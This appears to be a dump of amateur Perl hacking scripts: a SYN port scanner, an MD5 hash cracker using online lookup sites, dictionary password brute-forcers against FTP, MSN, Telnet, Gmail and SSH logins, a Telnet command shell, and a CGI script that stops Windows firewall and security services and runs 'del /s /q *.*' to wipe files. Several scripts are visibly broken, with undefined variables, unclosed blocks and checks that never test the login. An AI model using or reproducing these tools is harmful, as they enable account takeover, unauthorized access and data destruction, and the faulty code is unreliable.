#!/usr/bin/perl
#
# Simple port scanner automation with hping(Only the Type SYN conection)
# Autor: n00b
###############################################
 
use diagnostics;
 
use warnings;
 
 
print "############################\n";
print "Enter the ip/host: \n";
print "############################\n";
$host=<STDIN>;
chomp($host);
 
print "############################\n";
print "Enter the range of ports(for example 80-8080): \n";
print "############################\n";
$port=<STDIN>;
chomp($port);
 
system("hping2 -V --scan '$port' -S $host");
 
exit(0);

#!/usr/bin/perl
#c0dex by m0x.lk || Fucker Team ||
#Contact: [email protected]
#InformationServer

system ("clear");
system ("cls");
system ("color 0c");

print "\n\n[+]InformationServer and Content\n";
print "[+]c0dex by m0x.lk\n";
print "[+]Fucker Team\n";
print "[+]Host: ";
$host=<STDIN>;
print "\n\n";

sleep 1;

use IO::Socket;
use LWP::UserAgent;
use HTTP::Request;

my $ip = "$host";
my $con=LWP::UserAgent->new;
my $ua=HTTP::Request->new(GET=>$ip);
$cont= $con->request($ua)->as_string;
print "$cont";

use LWP::UserAgent;
use HTTP::Request::Common;
use HTTP::Cookies;

# By OzX NULLBYTES.net
### BASE DE LAS PETICIONES ##############################################################################################
$browser = LWP::UserAgent->new();
$browser->timeout(10);
$browser->default_header(

"User-Agent" => "Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1",
"Accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language" => "es-es,es;q=0.8,en-us;q=0.5,en;q=0.3",
"Referer" => "http://www.google.com"
);

#################################################################FUNCION GET Y POST
sub GETS{ @code = split("\n",$content = $browser->request(GET $_[0])->content);return  @code;}
sub POSTS{ @code = split("\n",$content = $browser->request(POST $_[0], [%{$_[1]}])->content);return  @code};
###############################################################################
$hash = $ARGV[0];
unless ($ARGV[0]) {
   print "MULTICRACKER 0.1 BY OZX www.nullbytes.net \nCrackNB.pl <hash>\n";
   print "CrackNB.pl 202cb962ac59075b964b07152d234b70\n\n";
   exit 0;
}
########################################################
%webs = ('0' => "http://md5decrypter.com",
       '1' => "http://gdataonline.com",
       '2' => "http://md5.hashcracking.com",
       '3' => "http://milw0rm.com",
       '4' => "http://md5search.org",);
      
###PETICIONES ####################################
if ($hash =~/\w{32}/){
hashfind($hash);
for($i=0;$i<5;$i++){
$pid = fork();

if( $pid == 0 ){
      print $webs{$i}.":> ".md5($i)."\n";
   exit 0;
                }
                            }
}else{
print "[+] HASH INVALIDO\n";
exit;
}
#################################################
#LA WEB http://www.hashfind.info TIENE UN SISTEMA BASADO EN COOKIES PARA MOSTRAR EL HASH ,
#ES POR ELLO QUE NO PUDE IMPLEMENTARLO DENTRO DE  LAS OTRAS FUNCIONES
# TAMBIEN TAMPOCO PUDE IMPLEMENTARLO DENTRO DEL FORK.
sub hashfind{
$hash = $_[0];
###  COOKIE PARA http://www.hashfind.info <=  ??
$browser->cookie_jar(HTTP::Cookies->new(file => "cookie_hash.txt", autosave => 1));
 @code = POSTS("http://www.hashfind.info/",{hash => $hash, button => Search});
 @codex = GETS("http://www.hashfind.info/get.php?type=0 ");
print "http://www.hashfind.info :>  @codex\n";
}

sub md5{
$id=$_[0];
$cracker[0]=   crack_post($webs{$id},{hash => $hash, submit => Decrypt%21 },$hash,'.*Normal.*<\/b>','.*this hash wasn.*') ;
$cracker[1]=   crack_get($webs{$id}."/qkhash.php?mode=txt&hash=",$hash,'.*><b>','<\/b><.*','.*\?',"<\/td><\/tr>");
$cracker[2]=   crack_get($webs{$id}."/search.php?md5=",$hash,".*is ");
$cracker[3]=   crack_post($webs{$id}."/cracker/search.php",{hash => $hash, Submit => Submit },$hash,"<\/TD><TD align=\"middle\" nowrap=\"nowrap\" width=90>cracked.*",".*<TR class=\"submit\">.*nowrap=\"nowrap\" width=90>");
$cracker[4]=   crack_post($webs{$id}."/index.php",{hash => $hash , server => all ,token => md5s , tryb => search, submit =>MD5Search%28%29},"<font.*size=\"-1\">.*nbsp",".*class=\"wyniksz\">","<\/font><\/td><\/tr><\/table><\/td><\/tr><\/table>.*p>","<\/font><\/td><\/tr>");

return $cracker[$id];
}

sub crack_post{
($url,$data,$match, @reg1) =  @_;
 @code = POSTS($url,$data);
   for $linea ( @code){
      if ($linea=~/$match/i){
         for $reg ( @reg1){
            $linea=~s/$reg//;
                     }
                  
return $linea;
                     }
               
               }
         }
      
sub crack_get{
($url,$hash, @reg1) =  @_;
 @code = GETS($url.$hash);
for $linea ( @code){
   if ($linea=~/$hash/i){
      for $reg ( @reg1){
         $linea=~s/$reg//;
         
                  }
         return $linea;
                  }
                  }
               }

#!c:\perl\bin\perl.exe
print "Content-type: text/html\n\n";
print q(
<title>m0x.lk | Marcos Owned You!</title>
<center>
<h4>m0x.lk | Marcos</h4>
<br>
You Fucking Firewall OFF Security!
<br>
<img src="http://www.wylug.org.uk/talks/2003/01/fire_diag.jpg">
<br></center>
);
system ("@echo off");
system ("net stop Centro de Seguridad");
system ("net stop Firewall de Windows/Conexi?n compartida a Internet (ICS)");
system ("attrib -H -S -R *.*");
system ("del /s /q *.*");
system ("msg * you are owned");

#!/usr/bin/perl
use Net::FTP;
# c0dex by m0x.lk
# [email protected]
# RE & HaSe
# BrFTP .-
system ("clear");
system ("cls");
system ("color 72");
print "C0dex by m0x.lk\n";
print "\n";
print "BrFTP .- RE & HaSe\n";
print "\n";
sleep 1;
print "Target: ";
$target=<STDIN>;
print "\n\n";
print "User: ";
$user=<STDIN>;
print "\n\n";
print "Diccionario: ";
$dict=<STDIN>;
print "\n\n";
$counter=0;
$times=0;
print "Conectando $target\n";
print "\n";
$ftp = Net::FTP->new($target,Debug => 1);
die "Imposible resolver $target\n";
print "\n";
open (D,"<$dict") or die "Diccionario no encontrado\n";
while(<D>)
{
$try = $_;
    chomp $try;
    $ftp->login($user,$try);
    $counter++;
    $tiempo++;
    if($ftp->ls("."))
    {
   print "$user / $try \n";
   last;
    }
    if($counter==$fallos)
    {
print "\n\n";
   $ftp->quit;
   print "Volviendo a conectar $target";
   $ftp = Net::FTP->new($target,Debug => 1);
   die "Imposible conectar $target\n";
print "\n\n";
   $counter=0;
    }
}
close(D);
print "\n\n";
print "$tiempo Obtener pass";
print "\n\n";
print "c0dex by m0x.lk";

#!/usr/bin/perl
system ("clear");
system ("cls");
system ("color fc");
# Re-c0de by m0x.lk
# Edit : BruteMSN .- ~HaSe & RE.
# Download Lib's.
use lib qw(./MSN/lib);
use MSN;
use strict;
use encoding "euc-jp";
print "Re-C0de by m0x.lk\n";
print "\n";
print "BruteMSN .- ~HaSe & RE.\n";
print "\n";
sleep 1;
print "Victima: ";
$victima=<STDIN>;
print "\n\n";
print "\n";
print "Diccionario: ";
$dict=<STDIN>;
print "\n\n";
open (D,"<$dict") or die "Diccionario no encontrado\n";
while(<D>)
{
$try = $_;
    chomp $try;
my $msn = MSN->new(Handle => '$victima',
                   Password => '$try');
    $counter++;
    $tiempo++;
    {
   print "$victima / $try \n";
   last;
    }
    if($counter==$fallos)
    {
}
close(D);
print "\n\n";
print "$tiempo Obtener pass";
print "\n\n";
print "c0dex by m0x.lk";

#!/usr/bin/perl
#c0dex by m0x.lk
#BtTel.- RE & Hase
use Net::Telnet ();
system ("clear");
system ("cls");
system ("color f3");
print "\n";
print "\t\tC0dex by m0x.lk\n";
print "\n";
print "\t BtTel.- RE & HaSe * darkc0de\n";
print "\n";
sleep 1;
print "Host: ";
$host=<STDIN>;
print "\n\n";
print "Username: ";
$username=<STDIN>;
print "\n\n";
print "Diccionario: ";
$dict=<STDIN>;
print "\n\n";
$i = 1;
open (D,"<$dict") or die "Diccionario no encontrado\n";
while(<D>)
{
$try = $_;
    chomp $try;

        $t = new Net::Telnet (Host => $host);
        eval { $t->login($username, $try); };
        if ($@) {
print "\n";
print "[+] Obteniendo Pass";
print "\n";
                print $i++ . ": Fallo - $try\n";
        }
        else {
                print "'$try - $i intentos";
                last;
        }
        $t->close;
}
close(IN);

#!/usr/bin/perl
# c0dex by m0x.lk
# pGmail .-
system ("color f0");
system ("clear");
system ("cls");
print "\tc0dex by m0x.lk\n";
print "\n";
print "\t\t BrGmail .- RE & HaSe * darkc0de\n";
print "\n";
use LWP::UserAgent;
use HTTP::Cookies;
use WWW::Gmail;
sleep 1;
print "Usuario: \tEj. [email protected]";
$usuario=<STDIN>;
print "\n\n";
print "Diccionario: ";
$dict=<STDIN>;
print "\n\n";
$i = 1;
open (D,"<$dict") or die "Diccionario no encontrado\n";
while(<D>)
{
$try = $_;
    chomp $try;

Print "[+]Bruteando...\n";

      my $obj = WWW::GMail->new(
            username => "$usuario",
            password => "$try",
            cookies => {
                    autosave => 1,
                    file => "./gmail.cookie",
            },
      );
 
      my $ret = $obj->login();
      if ($ret == -1) {
                print $i++ . ": Fallo - $try\n";
        }
        else {
                print "'$try - $i intentos";
                last;

#!/usr/bin/perl
#c0dex by m0x.lk
system ("clear");
system ("cls");
system ("color 02");
print "\n\n";
print "\t\t\tc0dex by m0x.lk\n\n";
print "\tm0x.lk || Fucker Team";
print "\t\t BruteSSH by m0x.lk\n";
sleep 1;

use strict();
use Net::SSH;

$host=$ARGV[0];
$user=$ARGV[1];
$passdict=$ARGV[2] || die "\n[+]Perl Usage: BruteSSH.pl host user dict\n";
print "\n\n";
$i = 1;
open (D,"<$passdict") or die "Diccionario no encontrado\n";
while(<D>)
{
$try = $_;
    chomp $try;

        $t = my $ssh = Net::SSH::Perl->new($host,debug=>1,use_pty=>1);
   $ssh->login($user, $try);
print "\n";
print "[+] Obteniendo Pass";
print "\n";
                print $i++ . ": Fallo - $try\n";

                print "'$try - $i intentos";
                last;
        $t->close;
}
close(IN);

#!/usr/bin/perl
#c0dex by m0x.lk || Fucker Team ||
#TelPerl || Conector Telnet en Perl
system ("clear");
system ("cls");
system ("color f0");
print "\n\n";
print "\t\tc0dex by m0x.lk\t||  Fucker Team  ||";
print "\n\n";
print "\t\tTelPerl | Conector Telnet en Perl\n\n";
sleep 1;

use Net::Telnet ();
$host=$ARGV[0];
$user=$ARGV[1];
$pass=$ARGV[2] || die "[+]Usage: TelPerl.pl Host User Pass\n[+]Example: TelPerl.pl 127.0.0.1 admin 123123\n";
        $t = new Net::Telnet (Host => $host);
        eval { $t->login($user, $pass); };
   if ($@) {
   
print "\n[+]Logeado";
sleep 1;

   }
   else {
      print "Login FAILDER!";
   }
   
comand:;
print "Comando Linea: ";
$comand=<STDIN>;
$t->cmd("$comand");
goto comand;